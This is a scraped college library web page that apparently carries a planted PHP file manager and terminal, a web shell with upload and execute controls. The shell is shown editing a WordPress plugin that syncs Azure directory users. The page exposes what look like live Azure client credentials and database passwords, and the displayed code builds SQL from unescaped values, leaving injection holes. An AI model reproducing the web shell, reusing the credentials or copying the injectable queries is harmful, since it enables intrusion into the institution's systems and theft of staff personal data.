Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html/wp-content/plugins/azureusers Upload Create File Create Folder Execute Editing: /var/www/html/wp-content/plugins/azureusers/auth2.php<?php require_once __DIR__ . '/vendor/autoload.php'; // ini_set('display_error', 0); //error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING); use Microsoft\Graph\Graph; use Microsoft\Graph\Model; class BMCC_User_Data { private $dbconn; private $tenantId; private $clientId; private $clientSecret; private $authToken; private $emp_type; public function __construct() { // $this->dbconn = new mysqli("localhost", "root", "redhat123", "bmcc"); $this->dbconn = new mysqli(); //$this->dbconn->real_connect("bmccprod.mariadb.database.azure.com", "bmccadmin@bmccprod", "Pa55w.rd1234", "wpdbg5", '3306', '', MYSQLI_CLIENT_SSL); if ($this->dbconn->connect_error) { //die("Connection failed: " . $this->dbconn->connect_error); } $this->tenantId = '078da106-0f96-4192-aa5a-d9388647b7ba'; $this->clientId = '5eb4caa1-8f1e-4a91-86da-628c2a2e37ff'; //$this->clientId = '047d0781-4d8d-40d3-953d-117fec1ca354'; $this->clientSecret = 'RsD8Q~DonP1kcnktn2tBUnEgfI9oekW_O~CPPdzH'; $this->emp_type = array('FAC' => 'Faculty', 'STA' => 'Staff', 'ADJ' => 'Adjunct'); } public function authenticate() { //echo "<br> ENTRO A authenticate"; $guzzle = new \GuzzleHttp\Client(); //echo "se hizo la instancia guzzle<br>"; $url = 'https://login.microsoftonline.com/' . $this->tenantId . '/oauth2/v2.0/token'; //echo "url: $url<br>"; $token = json_decode($guzzle->post($url, [ 'form_params' => [ 'client_id' => $this->clientId, 'client_secret' => $this->clientSecret, 'scope' => 'https://graph.microsoft.com/.default', 'grant_type' => 'client_credentials', ], ])->getBody()); //var_dump($token); $this->authToken = $token->access_token; } // Not in use public function countUsers() { $this->authenticate(); $graph = new Graph(); $graph->setAccessToken($this->authToken); $users = $graph->createRequest("GET", '/users?$count') ->execute(); return $users; } public function getUserDetails() { $this->authenticate(); $graph = new Graph(); $graph->setAccessToken($this->authToken); //var_dump($graph); $users = $graph->createRequest("GET", '/users/e9de2f2a-5dba-468b-a542-bd9fdf6b3473?$select=businessPhones, displayName, givenName, id, jobTitle, mail, mobilePhone, officeLocation, preferredLanguage, surname, userPrincipalName,department,accountEnabled,userType,telephoneNumber,onPremisesExtensionAttributes,extensionProperties') ->setReturnType(Model\User::class) ->execute(); echo '<pre>'; return $users; // $groups = $graph->createRequest("GET", '/users/c7af16ba-a818-473e-870c-e7213ca1b713/memberOf') // ->setReturnType(Model\Group::class) // ->execute(); // echo '<pre>'; // foreach ($groups as $group) { // echo $group->getId(); // echo '<br>'; // } // return array($users, $groups); } public function getSyncAzureUser() { echo " <br>ENTRO getSyncAzureUser <br>"; global $table_prefix, $wpdb; $this->authenticate(); $graph = new Graph(); $graph->setAccessToken($this->authToken); $users = array(); $usersCollection = $graph->createCollectionRequest("GET", '/users?$select=businessPhones, displayName, givenName, id, jobTitle, mail, mobilePhone, officeLocation, preferredLanguage, surname, userPrincipalName,department,accountEnabled,onPremisesExtensionAttributes') ->setReturnType(Model\User::class); $checkstatus = $this->checkStatus(); $queryin = "INSERT INTO ".$table_prefix."sync_user_azure (status,created_by_ip) VALUES ('1','".$_SERVER['REMOTE_ADDR']."')"; $stmt = $wpdb->query($queryin); //echo "<br><h1>stmt:$stmt</h1><br>"; $insertid = $wpdb->insert_id; $this->truncateTable(); $totl = 0; $this->saveOnFile("\n DATE".date('Y-m-d')."\n"); while (!$usersCollection->isEnd()) { $getcnt = $this->addUpdateUsers($usersCollection->getPage()); $totl = $totl + $getcnt; //echo $getcnt.'---->'.$totl.'<br>'; } $queryin2 = "update `".$table_prefix."sync_user_azure` set record_count = ".$totl.", status='2' where id = ".$insertid; $stmt = $wpdb->query($queryin2); //$urlFile = $_SERVER["DOCUMENT_ROOT"] . '/wordpress_production/wp-content/plugins/azureusers/dataNotUpdated.txt'; //$attachments = array($urlFile); //wp_mail("fcardenasm@gmail.com", "Users dosen't update with ASYNC" , "Users dosen't update with ASYNC", $attachments); return $totl; } public function truncateTable() { global $table_prefix, $wpdb; $sql = "TRUNCATE TABLE `ad_data_sync`"; $wpdb->query($sql); } public function addUpdateUsers($users) { //echo "Función addUpdateUsers ----"; global $table_prefix, $wpdb; $inserts = array(); $ad_emptype = array_keys($this->emp_type); $notSendedEmails = ""; foreach ($users as $user) { $user_status = &$user->getAccountEnabled(); if ($user_status) { $inserts[$user->getId()]['firstname'] = addslashes($user->getGivenName()); $inserts[$user->getId()]['lastname'] = addslashes($user->getSurname()); $inserts[$user->getId()]['displayname'] = addslashes($user->getDisplayName()); $inserts[$user->getId()]['title'] = addslashes($user->getJobTitle()); $inserts[$user->getId()]['email'] = $user->getMail(); $inserts[$user->getId()]['phone'] = $user->getBusinessPhones()[0]; $inserts[$user->getId()]['room'] = addslashes($user->getOfficeLocation()); $inserts[$user->getId()]['department'] = addslashes($user->getDepartment()); $inserts[$user->getId()]['objectguid'] = $user->getId(); $nameProf = $user->getDisplayName(); //$trimEmail = trim($user->getMail()); $trimEmail = $user->getMail(); $this->updateMetaTitle($trimEmail,$user->getJobTitle(),$nameProf); //wp_mail("fcardenasm@gmail.com", "USUARIOS NO ACUTALIZADOS", "$notSendedEmails"); $inserts[$user->getId()]['useraccountcontrol'] = $user_status ? '1' : '0'; $extentions = &$user->getOnPremisesExtensionAttributes(); $extentions = json_decode(json_encode($extentions), true); if (count($extentions) > 0 and count(array_intersect($ad_emptype, $extentions)) > 0) { // foreach ($extentions as $extention) { // if ($extention) { // $inserts[] = $this->emp_type[$extention]; // break; // } // } $inserts[$user->getId()]['employeetype'] = $this->emp_type[array_intersect($ad_emptype, $extentions)[0]] ?? 'Staff'; } else { $inserts[$user->getId()]['employeetype'] = "Staff"; } } } $fields = array('firstname', 'lastname', 'displayname', 'title', 'email', 'phone', 'department', 'room', 'guid', 'userstatus', 'emptype','created_by_ip'); $result = $this->insertBulkPrepared('ad_data_sync', $fields, $inserts); if ($result == 0) { echo "<p>ERROR: when trying to insert abilities query</p>"; } return $result; //echo "<p>Inserted {$user_count} users in the DB</p>"; } function updateMetaTitle($email,$titleSync,$nameProf){ //$NotSendend = ""; global $wpdb; if(!is_null($email)){ $email = trim($email); $usrEmail = $wpdb->get_results("select ID from wp_users where user_email = '" . $email . "'"); $IDemail = $usrEmail[0]->ID; if (!is_null($IDemail)) { if (!is_null($titleSync)) { $job_title_data = $wpdb->get_results("select website_title from wp_bmcc_job_title_mapping where active_directory_title = '" . $titleSync . "'"); echo "<h1>".$job_title_data[0]->website_title."</h1>"; update_user_meta($IDemail, 'title', $job_title_data[0]->website_title); } }else{ $this->saveOnFile("$nameProf doesn't found $email on the table wp_users \n"); echo "<br> -- USUARIO $nameProf que no se encontro en la tabla wp_users " . "$email ---". '<br>'; } }else{ $this->saveOnFile("$nameProf doesn't have an email\n"); echo "<br> -- USUARIO $nameProf SIN EMAIL" . '---'. '<br>'; } } function saveOnFile($info){ $urlFile = $_SERVER["DOCUMENT_ROOT"] . '/wordpress_production/wp-content/themes/visual-composer-starter-child/async_bmcc_directory/dataNotUpdated.txt'; echo $urlFile.'<br><br>'; $fl = fopen ( $urlFile , "a" ); fwrite ( $fl , $info ); fclose ( $fl ); } function insertBulkPrepared($table, $fields, $values) { // echo "Función insertBulkPrepared ----"; global $wpdb; $chunklength = 500; $fieldcount = count($fields); $fieldnames = '`' . join('`, `', $fields) . '`'; //$params = '(' . str_pad('', 3 * $fieldcount - 2, '?, ') . '), '; $inserted = 0; foreach ($values as $invalkey => $memval) { $sqlcnt = $wpdb->prepare("SELECT id,guid FROM " .$table ." WHERE guid = '".$memval['objectguid']."' order by id desc limit 1"); //echo "SELECT id,guid FROM " .$table ." WHERE guid = '".$memval['objectguid']."' order by id desc limit 1 <br>"; $groupData1 = $wpdb->get_row($sqlcnt); if(empty($groupData1)){ $queryin = "INSERT INTO `$table` ($fieldnames) VALUES "; $queryin .= "('".$memval['firstname']."', '".$memval['lastname']."','".$memval['displayname']."', '".$memval['title']."', '".$memval['email']."', '".$memval['phone']."', '".$memval['department']."','".$memval['room']."','".$memval['objectguid']."','".$memval['useraccountcontrol']."','".$memval['employeetype']."','".$_SERVER['REMOTE_ADDR']."')"; $queryin = rtrim($queryin,",");//echo $queryin;die; //echo "$queryin <br>"; $stmt = $wpdb->query($queryin); $inserted++; } } return $inserted; } function insertBulkPrepared_old($table, $fields, $types, $values) { echo '<pre>'; print_r($values);die; global $wpdb; $chunklength = 500; $fieldcount = count($fields); $fieldnames = '`' . join('`, `', $fields) . '`'; $prefix = "INSERT INTO `$table` ($fieldnames) VALUES "; $params = '(' . str_pad('', 3 * $fieldcount - 2, '?, ') . '), '; $inserted = 0; foreach (array_chunk($values, $fieldcount * $chunklength) as $group) { $length = count($group); if ($inserted != $length) { $records = $length / $fieldcount; $query = $prefix . str_pad('', 3 * $length + 2 * ($records - 1), $params); $stmt = $wpdb->prepare($query); if (!$stmt) return false; $binding = str_pad('', $length, $types); $inserted = $length; } array_unshift($group, $binding); $bound = call_user_func_array(array($stmt, 'bind_param'), $group); if (!$bound) return false; if (!$stmt->execute()) return false; } if ($inserted) $stmt->close(); return true; } function checkToday(){ global $wpdb; $table_name = $wpdb->prefix . "sync_user_azure"; $sql = $wpdb->prepare("SELECT id,created_on FROM " .$table_name ." WHERE record_count > 0 order by id desc limit 1"); //echo "SELECT id,created_on FROM " .$table_name ." WHERE record_count > 0 order by id desc limit 1"; $groupData = $wpdb->get_row($sql); $sql2 = $wpdb->prepare("select now() as nowtime"); $groupData2 = $wpdb->get_row($sql2); $timestamp2 = strtotime($groupData2->nowtime); $timestamp1 = strtotime($groupData->created_on); $hours = abs($timestamp2 - $timestamp1)/(60*60); if(empty($groupData) || $hours > 24){ return true; }else{ return false; } } function checkStatus(){ global $wpdb; $table_name = $wpdb->prefix . "sync_user_azure"; $sql = $wpdb->prepare("SELECT id,status FROM " .$table_name ." order by id desc limit 1"); //echo "SELECT id,status FROM " .$table_name ." order by id desc limit 1"; $groupData = $wpdb->get_row($sql); //var_dump(array('status' => $groupData->status, 'id' =>$groupData->id)); return array('status' => $groupData->status, 'id' =>$groupData->id); } } // $tenantId = '078da106-0f96-4192-aa5a-d9388647b7ba'; // $clientId = '5eb4caa1-8f1e-4a91-86da-628c2a2e37ff'; // $clientSecret = 'RsD8Q~DonP1kcnktn2tBUnEgfI9oekW_O~CPPdzH'; // $guzzle = new \GuzzleHttp\Client(); // $url = 'https://login.microsoftonline.com/' . $tenantId . '/oauth2/v2.0/token'; // $token = json_decode($guzzle->post($url, [ // 'form_params' => [ // 'client_id' => $clientId, // 'client_secret' => $clientSecret, // 'scope' => 'https://graph.microsoft.com/.default', // 'grant_type' => 'client_credentials', // ], // ])->getBody()->getContents()); // $accessToken = $token->access_token; // print_r($accessToken); // $graph = new Graph(); // $graph->setAccessToken($accessToken); // $users = $graph->createRequest("GET", "/users") // ->setReturnType(Model\User::class) // ->execute(); // print('<pre>'); // print_r($users); // foreach ($users as $user) { // print($user->mail); // } //echo "Hello, I am $user->getGivenName() "; //echo $accessToken;Save